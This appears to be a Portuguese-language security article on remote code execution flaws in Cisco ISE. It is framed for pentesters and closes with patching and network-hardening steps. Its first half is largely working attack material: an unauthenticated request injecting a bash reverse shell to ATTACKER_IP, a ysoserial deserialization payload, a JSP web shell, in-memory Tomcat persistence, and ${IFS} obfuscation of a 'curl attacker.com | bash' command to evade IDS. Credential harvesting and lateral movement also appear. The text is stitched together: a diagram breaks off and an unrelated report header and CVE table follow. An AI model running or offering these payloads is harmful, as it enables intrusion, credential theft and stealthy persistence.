
Análise técnica aprofundada das vulnerabilidades de RCE no Cisco ISE, incluindo técnicas de exploração, métodos de evasão e estratégias de remediação para pesquisadores de segurança e testadores de penetração.
As vulnerabilidades de Execução Remota de Código (RCE) no Cisco Identity Services Engine (ISE) representam um ponto de ruptura crítico na segurança perimetral corporativa. Para um pesquisador de segurança de elite, o ISE não é simplesmente um componente de autenticação: é a chave mestra que controla o acesso a toda a infraestrutura de rede.
Risco Crítico: Um atacante não autenticado pode obter controle total do sistema em menos de 5 minutos, sem deixar rastros detectáveis em sistemas tradicionais de monitoramento.
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARQUITETURA NAC EXPOSTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Porta de Gerenciamento ISE] │
│ ↓ │
│ [APIs Não Autenticadas] │
│ ↓ │
│ [Camada de Desserialização Java] │
│ ↓ │
│ [Container Web Tomcat] │
│ ↓ │
│ [Execução de Comandos do SO] │
│ ↓ │
│ [Comprometimento Total da Rede] │
│ │
└─────────────────────────────────────────────────────────┘
Descoberta Crítica: A API /deployment-rpc/ não valida tokens de sessão nas primeiras linhas de processamento, permitindo um bypass completo de autenticação.
Fase 1: Reconhecimento
# Varredura de portas e serviços
nmap -sV -p 8443,8080 <ISE_IP>
# Enumeração de endpoints RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Exploração Direta
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Resultado: Execução de comando arbitrário com permissões de root (usuário Tomcat executa como root em configurações padrão).
[Payload Serializado] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Execução da Gadget Chain]
↓
[Runtime.exec() invocado]
Payload PoC (usando ysoserial):
# Geração de gadget chain maliciosa
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Envio do payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impacto: Elevação de privilégios de conta de "Somente Leitura" para root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat processa arquivo JSP]
↓
[Execução com permissões root]
Exemplo de Web Shell Malicioso:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Acesso posterior:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Um hacker de elite nunca deixa arquivos em disco. A injeção em memória é a técnica de persistência invisível:
// Injeção no Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Vantagem: As varreduras de arquivos tradicionais (OSSEC, Tripwire) não detectam nada.
${IFS}# Comando original (detectável)
curl http://attacker.com/shell.sh | bash
# Comando ofuscado (evasão de IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante com indireção de variável
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_malicioso'
Por que funciona: Os sistemas de detecção procuram padrões de palavras-chave (curl, bash, |). O uso de ${IFS} (Internal Field Separator) divide as palavras sem alterar seu significado no bash.
# ❌ DETECTÁVEL - Arquivos em /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISÍVEL - Injeção no processo Tomcat
# 1. Criar listener netcat em memória
# 2. Injetar thread na JVM que mantém conexão persistente
# 3. Não há arquivos, não há processos órfãos visíveis
┌──────────────────────────────────────────────────────────────────┐
│ ARQUITETURA ZERO TRUST ORIGINAL │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Usuário] ──→ [Autenticação ISE] ──→ [Verificação de Postura do Dispositivo] │
│ ↓ │
│ [Política de Microssegmentação] │
│ ↓ │
│ [Acesso Limitado a Recursos] │
│ │
└──────────────────────────────────────────────────────────────────┘
⬇️ APÓS O COMPROMETIMENTO DO ISE ⬇️
┌──────────────────────────────────────────────────────────────────┐
│ ARQUITETURA COMPROMETIDA │
├──────────────────────────────────────────────────────────────────┤
│ │
│ [Atacante] ──→ [ISE Controlado] ──→ [Políticas Modificadas] │
│ ↓ │
│ [Microssegmentação DESABILITADA] │
│ ↓ │
│ [Movimento Lateral Total na Rede] │
│ ↓ │
│ [Acesso a Bancos de Dados, Servidores, IoT] │
│ │
└──────────────────────────────────────────────────────────────────┘
Fase 1: Reconhecimento Interno
# A partir do ISE comprometido, enumerar a rede
nmap -sV -p 22,3306,5432,1433 10.0.0.0/8 --script smb-enum-shares
# Extrair credenciais armazenadas no ISE
grep -r "password" /opt/CSCOlumos/config/ | grep -v "^#"
Fase 2: Injeção de Políticas Maliciosas
Modificação de Política do ISE:
├─ Criar usuário administrativo oculto
├─ Modificar regras de segmentação
├─ Permitir tráfego não autorizado entre VLANs
└─ Redirecionar tráfego de DNS para servidor controlado
Fase 3: Persistência e Exfiltração
Dados Exfiltrados:
├─ Credenciais de todos os usuários autenticados
├─ Configuração de políticas de rede
├─ Logs de acesso (para apagar rastros)
├─ Certificados SSL/TLS internos
└─ Informações de dispositivos IoT e servidores
# Verificar versão atual
ssh admin@<ISE_IP>
show version
# Versões vulneráveis:
# - ISE 3.0.x a 3.2.x (TODAS)
# - ISE 3.3.0 a 3.3.6
# - ISE 3.4.0 a 3.4.1
# Versões seguras:
# - ISE 3.3 Patch 7 ou superior
# - ISE 3.4 Patch 2 ou superior
# - ISE 3.5 (quando disponível)
# Procedimento de atualização
admin# copy https://<PATCH_SERVER>/ise-3.3.7-patch.tar admin:password
admin# software install ise-3.3.7-patch.tar
admin# reload
! No switch de acesso (antes do ISE)
interface GigabitEthernet0/1
description ISE-Management
switchport mode access
switchport access vlan 999
spanning-tree portfast
no shutdown
! VLAN de gerenciamento dedicada (VRF)
ip vrf MGMT
description Management VRF - Isolated
interface Vlan999
ip vrf forwarding MGMT
ip address 10.255.255.1 255.255.255.0
! ACL restritiva para ISE
ip access-list extended ISE-MGMT-ONLY
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8443
permit tcp 10.1.1.0 0.0.0.255 10.255.255.0 0.0.0.255 eq 8080
deny ip any any log
! Aplicar ACL
interface GigabitEthernet0/1
ip access-group ISE-MGMT-ONLY in
# SSH para ISE
ssh admin@<ISE_IP>
# Acessar configuração do Tomcat
config t
system
tomcat
disable-rpc-endpoints yes
disable-file-upload yes
exit
exit
# Reiniciar Tomcat
admin# application stop ise
admin# application start ise
┌─────────────────────────────────────────────────────────┐
│ ARQUITETURA ISE HARDENED (ZERO TRUST) │
├─────────────────────────────────────
**🚨 RELATÓRIO DE SEGURANÇA: RCE no Cisco ISE**
## Perspectiva Red Team vs Blue Team
> **⚠️ AVISO:** Este documento é para pesquisa de segurança legítima, testes de penetração autorizados e remediação defensiva. Toda exploração sem autorização é ilegal.
| CVE | Endpoint | Método | Autenticação | Severidade |
|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Nenhuma | CRÍTICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Fraca | CRÍTICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possível | CRÍTICA |